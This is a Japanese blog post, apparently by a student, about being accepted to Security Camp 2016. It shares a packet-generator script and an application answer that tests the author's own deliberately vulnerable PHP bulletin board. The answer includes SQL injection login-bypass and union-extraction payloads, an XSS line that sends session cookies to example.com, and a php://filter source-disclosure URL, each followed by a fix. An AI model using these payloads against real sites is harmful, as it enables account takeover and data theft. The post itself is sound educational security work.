jtwp470’s blog

日記とかプヨグヤミングとか

セキュリティキャンプ2016 合格しました!

こんにちは, たんごです. 表題通りですが今年のセキュリティキャンプに受講生として参加することになりました.参加者各位よろしくお願いいたします.

f:id:jtwp470:20160615010351p:plain

思えば,大学入って2年目にこの存在を知りましたが知った時には時すでに遅し,すでに秋でして3年のときに初めて応募しました(つまり去年ですね). 去年の応募用紙は思い返せば調べたことをただ書いただけで自分の手で何かをやったというわけではありませんでした.そりゃ落ちるわなというわけです. また, ウェブアプリケーションも書いたことないですし,ハードウェアを何かできるわけでもありませんでした. その悔しさをバネにして1年頑張りCTFとかやり続けてやっとこさその思いが実ったというような感じです. 就職する前に行きたかったセキュキャンに参加できる事が決まって嬉しい限りです.

ソフトウェア系はなんとかなるんですがハードウェアが全くわからないのでそっち系の人々とも仲良くなれればと思うとともにコアな人々とも仲良くなれればと思います. とにかく何もできないですがよろしくお願いします.

さてせっかく合格したので今年自分が書いた応募用紙でも公開しようかなと思ったのですがあまり他人の応募用紙で見なかった(ように思う)設問6について書こうかなと思います.

一応他の設問としては1, 4,11に取り組んでいまして特にほかの人と解答例が変わらないのでここでは記述しません.

でも, 一応設問4のRHパケットは生成するためのスクリプトを適当にPythonで書いてその実行による時間等の解析結果を描きました.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from struct import pack
import random
import sys


source = ["rise-san", "cocoa-san", "chino-san"]
dest = ["Chino-chan", "chino", "cocoa-san"]
valid_order_brand = ["BludMountain", "Columbia", "OriginalBlend"]
invalid_order_brand = ["DandySoda", "FrozenEvergreen"]


class RHPacket(object):
    def __init__(self, source, dest, data):
        self.header = "RH"
        self.source = source
        self.dest = dest
        self.data = data

    def serialize(self):
        d = self.header.encode()
        d += self.source.encode() + b"\x00" * (20 - len(self.source))
        d += self.dest.encode() + b"\x00" * (20 - len(self.dest))
        d += pack(">i", len(self.data)) + self.data.encode()
        return d

    def save(self, fname):
        with open(fname, "wb") as f:
            f.write(self.serialize())

    def __str__(self):
        return"""magic : {header}
        source: {source}
        dest  : {dest}
        length: {length}
        data  : {data}
        """.format(header=self.header, source=self.source, dest=self.dest, length=str(len(self.data)), data=self.data)


# 一部を適当に大文字などに書き換える
def randomNames(name):
    return "".join([n.upper() if random.random() >= 0.5 else n for n in name])


def genPacket():
    s = randomNames(random.choice(source))
    d = randomNames(random.choice(dest))
    if s.lower() == "cocoa-san" and d.lower() == "chino" and random.random() >= 0.5:
        s = "cocoa-san"
        d = "Chino"

    data = ""
    is_invalid = False
    if random.random() >= 0.5:
        data = random.choice(invalid_order_brand)
        is_invalid = True
    else:
        data = random.choice(valid_order_brand)

    if is_invalid is False and  random.random() < 0.5:
        data += random.choice(invalid_order_brand)

    return RHPacket(s, d, data)


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python %s [NUM]" % sys.argv[0])
        sys.exit(1)

    num = int(sys.argv[1])
    rhp = [genPacket() for _ in range(num)]
    rhp_se = bytes()
    for rh in rhp:
        rhp_se += rh.serialize()

    with open("sample_%d.rh" % num, "wb") as f:
        f.write(rhp_se)

    print("Wrote sample_%d.rh" % num)

これで適当に100000とかパケットを生成して実行時間とかを調べる感じですハイ. そういえばネットワークバイトオーダーとかってみなさんCとかでどう解決したんでしょうね? 僕は特に何も考えずに解析しましたけど. この問題はやっぱりごちうさ原理主義者としてはきちんと解かないとな(使命感)という感じで解いた問題でした.

設問6

IDとパスワードを入力してユーザの認証を行うWebアプリがあります。あなたがこのアプリに対してセキュリティテストを行う場合、まず、どのようなテストをします か? なぜそのテストを選択したのか、その背景や技術的根拠と共に記載してください。アプリの内部で使われている技術やシステム構成に、前提を置いても構いません。

まず昨年の反省からこの問題を解くことを決めた以上,既存のアプリに対してセキュリティテストを行うという方針をやめ,オレオレ脆弱性アプリを実装してそれをセキュアにするにはどうすればいいか自分の考えをまとめることにしました.

以下応募用紙そのまま (一部検閲含む)

セキュリティテストとしてどのようなことを行うのかわからなかったため,実際に自分でIDとパスワードを入力してユーザー認証を行い内部でコメントを出来るようなシンプルで簡単なBBSのようなサイトを作成した.

http://simple-bbs-[CENSORED].herokuapp.com/

今回作成したアプリではバックエンドにはPHPを使い,特にPHPフレームワーク等は利用せず生で記述した.更にDBとしてはHerokuで提供されているMySQLのサービスを利用している. この作成したアプリを元にして自分であればどのようなセキュリティテストを行い, 改修していくかについて記述することにした.

  1. UsernameとPasswordの入力部分をテストする 作成したアプリではパスワードを入力すると丸見えである.丸見えであるというのは通常パスワード入力部はアスタリスク等見えないような細工がなされる.これをすることにより近隣者などが入力している人の肩越しから画面を覗き込みパスワードを奪取されることを防ぐ必要がある.

  2. UsernameとPasswordをどのように送信しているかテストする UsernameとPasswordをGETを利用して送信している.例えばChromeのDeveloper Toolsで覗くと次のようになっている.

http://simple-bbs-[CENSORED].herokuapp.com/index.php?name=test&pass=test

これはあまり良いことではない.というのも一般的なWebサーバーの通信ログ等にはGET値は残ってしまう.つまり悪意あるネットワーク管理者などがログの中からこのような情報を抜き出し悪用することが可能である. これを防ぐためにPOST値に変更すると「基本的には」ログに残らないため安心である.

  1. ログイン部分のSQLインジェクションのテスト 例えばadminユーザーでログインしようとした際にUsernameにadmin, Passwordに " or 1 = 1;-- と入力するとadminユーザーでログインできてしまう. これは非常に危険である.つまりパスワードを知らなくてもユーザー名さえわかってしまえば他者のアカウントでログインできてしまうのである.

さらに危険なことにログインしたあとの動作をよく見ているとユーザー名が表示されていることがわかる.ここを改変できるのではないだろうかと思い様々なことを思考すると次のようなことができてしまう. まずテーブル名の一覧を抜き出す.

Username: sqlinjection
assword: " union select 1, [CENSORED] from information_schema.tables where table_type = 'base table';--

すると Hello, bbs, users と書かれる.

usersにはユーザー情報が格納されていると推測できる.そこで,得られた情報からはじめにカラム名を取り出す.

Username: sqlinjection
Password: " union select 1, [CENSORED] from information_schema.tables where table_name = 'users';--

すると Hello, id,username,password,is_admin となる.

カラム名はわかったので普通に登録ユーザー名やパスワード等を抜き出すことにする.

パスワードの抜き出し:

Username: sqlinjection
Password: " union select 1, [CENSORED] from users;--

すると Hello, verysecurepassword,passwordistest となる.ユーザー名も同様にして取り出すことができる.

このようにSQLインジェクションができてしまうと非常に危険でありすべての情報が取り出されてしまう. そのためSQLを呼び出すところではすべてプレースホルダーを利用して安易にユーザー入力をそのまま追加できるようにしないことが重要である.

また今回の項目ではログイン部のSQLインジェクションについて言及したが一般的なサイトではSQL呼び出しがある部分すべてにおいてこの項目についてのテストを行う必要がある.

  1. パスワードを生の値で保存していないことをテストする 3.のようにSQLインジェクションができてしまう環境で,かつ情報を表示してしまうサイトの場合,もしも重要な情報を暗号化等していないと悪用される危険が極めて高い. したがってDBに情報を保存するときは出来る限り暗号化を行ったほうが良い. 例えばパスワードを保存する際にはPHPではpassword_hash()という関数がある.これを用いると安全にパスワードを保存することもでき,検証も容易である.ちなみに安易なハッシュ関数のみでの保存はしない.MD5などのハッシュ関数ではインターネット上に逆変換用のDBなどが存在し辞書に載っているような単語であればすぐに元の値を求めることができるためである.

  2. XSS をテストする 大抵ユーザーIDとパスワードを求めるようなサービスの場合,その後にユーザーからの入力などを受け取り表示するなどがよくある. ユーザー入力をエスケープせずに表示するようにしているとXSSが行われてしまう.XSSが行われてしまった際の顕著な例としてクッキーに保存してあるセッションIDの奪取を試みる.

例えば悪意あるユーザーがログインし以下の様なメッセージを投稿したとする.

<img src=# onerror="javascript:document.href='http://example.com/xss/?c='+document.cookie;">

このままadminなどがログインしてくるとexample.com のサーバーログには以下の様なアクセスログが残る.

[Remote IP addr] - - [17/May/2016:23:24:34 +0900] "GET /xss/?c=PHPSESSID=pgu7g9dui8e7i8ns60e1mbvc30
HTTP/1.1" 404 193 "http://simple-bbs-[CENSORED].herokuapp.com/" "UA"

このセッションIDをクッキーにセットし再度アクセスするとadminとしてログインできてしまう. このようなことにならないように, ユーザー入力を受け取るところではすべてエスケープするようにしておくと良い. PHPに限って言えば htmlspecialchars (http://php.net/manual/ja/function.htmlspecialchars.php) があるのでこれを利用すると良い.

  1. ディレクトリトラバーサルのテスト ユーザーIDとパスワードを求めるサービスにおいて特にディレクトリトラバーサルの問題があっても構わないかもしれないが例えばユーザーの重要な情報などを保存している場合などにログインしているユーザーのみが閲覧できるなどの場合, この脆弱性があると情報を盗まれてしまう恐れがあり非常に危険である.

今回作成したアプリではURLの?opパラメーターにおいてこの脆弱性があることが判明した. 例えばログイン画面 /?op=login と打つとログイン画面に遷移する. また, login.php が存在することが判明している. これよりPHPの場合, 以下の様なコードを使って

http://simple-bbs-[CENSORED].herokuapp.com/?op=php://filter/read=convert.base64-encode/resource=index

のようなURLにアクセスするとBase64でデコードされたPHPソースコードを入手することができてしまう. すると攻撃者はこのアプリのソースコードを入手することができてしまい,簡単に脆弱性を見つけ出すことができてしまう.

  1. CSRF 脆弱性のテスト 例えば適当なユーザーでログインし, 投稿しようとするところなどにこの脆弱性が残されている.これによりXSSなどによってユーザーのセッションなどを盗み出すことによって第3者が悪意ある内容を投稿することを許してしまう.

  2. OSコマンドインジェクションのテスト 例えば外部からOSのシェルにて解釈されるコマンド等を実行できてしまうと様々な問題が発生する. PHPではsystem()関数などがそのままOSのコマンドを解釈して実行できるので危険である.

最後に上記の脆弱性を排したアプリを作成し公開した.

http://secure-bbs-[CENSORED].com/

管理者にはadmin, passwordpassword, 一般ユーザーとしてtest, test でログインすることができる.

最終的に自身が作成したアプリを元に脆弱性検査を行う場合の項目を示した.以下に簡単に項目だけをまとめる.

  1. UsernameとPasswordの入力部分をテストする
  2. UsernameとPasswordをどのように送信しているか
  3. SQLインジェクション
  4. パスワードを生の値で保存していないことをテストする
  5. XSS
  6. ディレクトリトラバーサル
  7. CSRF
  8. OSコマンドインジェクション

申し訳ないですがSQLインジェクションの詳細コードについては検閲により削除させていただきました. とはいっても適当にデータをくっつけて出力させればいい感じにDBからパスワードを持ってこれます.

ちなみに作ったアプリのソースコード:

github.com

docker-compose 使えばいい感じに環境揃いますしHerokuにも一発デプロイできると思うのでローカル等で試してみてください.穴がいっぱい見つかりますw

またindex.phpを見るといくつかキモい実装がありますがそれはすべて私のPHP力がないせいと,PHPフレームワークは使わんぞという強い気持ちのためです.(PHPの定石を知らないのですw)

if (empty($_SESSION['name'])) {
    $op = 'login';
} else {
    $op = 'bbs';
}

if (!include($op . '.php'))
    fatal('no such page');

こんなキモい実装見たことないと思いますが実はこれはPlaidCTF 2016のpixelshopというWeb問のソースコードを流用したためこんな感じの実装になりました.

個人的にはWebセキュリティの脆弱性例とそれらを潰すための実装例を書いたいい感じの資料かなと思いますが間違いが含まれているかもしれません. そんな場合はGitHubのIssueに「間違ってんぞゴラ👊」してくれると幸いです

最後に

このWebアプリHerokuにデプロイして動かしていたんですがログを見てみると6/7 - 6/8 頃にアクセスが来ていたのでその頃アクセスしてくれたのかも 見ていただいた方ありがとうございます.